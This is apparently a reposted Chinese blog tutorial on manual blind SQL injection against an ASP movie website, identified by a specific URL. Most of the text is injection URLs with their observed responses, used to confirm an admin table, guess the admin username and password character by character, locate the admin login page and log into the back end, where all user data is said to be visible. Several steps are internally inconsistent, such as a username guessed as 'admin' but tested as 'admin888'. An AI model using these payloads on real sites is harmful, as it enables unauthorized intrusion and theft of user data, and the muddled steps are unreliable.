在大多数ASP站点中,我们并不知道其程序代码,靠任何扫描器也不可能发现SQL injection漏洞,这时就要靠手工检测了,由于我们执行SQL语句要用到单引号、分号、逗号、冒号和“--”,所以我们就在可修改的URL后加上以上符号,或在表单中的文本框加上这些符号。
下面主要介绍一下攻击的步骤(这里以下面的电影网站为例:http://hi.baidu.com/sihochina ):
★ 寻找目标:
看电影进一步寻找目标:
http://hi.baidu.com/sihochina/show.asp?id=271
★ 测试
http://hi.baidu.com/sihochina/show.asp?id=271 and 1=1
正常返回!
http://hi.baidu.com/sihochina/show.asp?id=271 adn 1=2
“没有影片提供观看”
★ 检测是否存在管理员列表
http://hi.baidu.com/sihochina/show.asp?id=271 and 1=(select min(id) from admin)
正常返回, 存在
★ 测试密码长度
http://hi.baidu.com/sihochina/show.asp?id=271 and 1=(select min(id) from admin where len(username)>5)
正常返回,确定 密码大于5位
http://hi.baidu.com/sihochina/show.asp?id=271 and 1=(select min(id) from admin where len(username)<8)
正常返回,确定密码长度小于8位
http://hi.baidu.com/sihochina/show.asp?id=271 and 1=(select min(id) from admin where len(username)=6)
正常返回,哈哈,管理员密码是6位
★ 猜测用户名
http://hi.baidu.com/sihochina/show.asp?id=271 and 1=(select min(id) from admin where left(username,1)='1')
正常返回, 确定管理员编号在第一位
★ 搜索站长IS
在站上搜索站长ID,假设是:admin
★ 测试ID
http://hi.baidu.com/sihochina/show.asp?id=271 and 1=(select min(id) from admin where left(username,6)='admin888')
正常返回, 确定正确
★ 猜测密码
http://hi.baidu.com/sihochina/show.asp?id=271 and 1=(select min(id) from admin where left(password,1)='1')
正常返回
http://hi.baidu.com/sihochina/show.asp?id=271 and 1=(select min(id) from admin where left(password,6)='123456')
正常返回
注意:如果在left(pass,1)=后面是数字,那么要把数字用单引号包含起来,例: left(pass,1)='1' 否则程序会出错。
★ 猜测管理员登陆界面
http://hi.baidu.com/sihochina/adminlogin.asp
无法打开, 不对
http://hi.baidu.com/sihochina/login.asp
无法打开, 不对
http://hi.baidu.com/sihochina/admin/login.asp
看到了,登陆界面,正确! 就是这个了!
★ 获得用户名和密码
用户名是:admin
密码是:123456
登陆URL为:http://hi.baidu.com/sihochina/admin/login.asp
★ 登陆后台
登陆上去看一下,所有的用户资料全在。这个只是测试,可不要搞破坏啊,否则后果自负!
普通的登陆会记下你的IP的,警察叔叔会找你的!
转自 http://hi.baidu.com/sihochina 有好多东东呦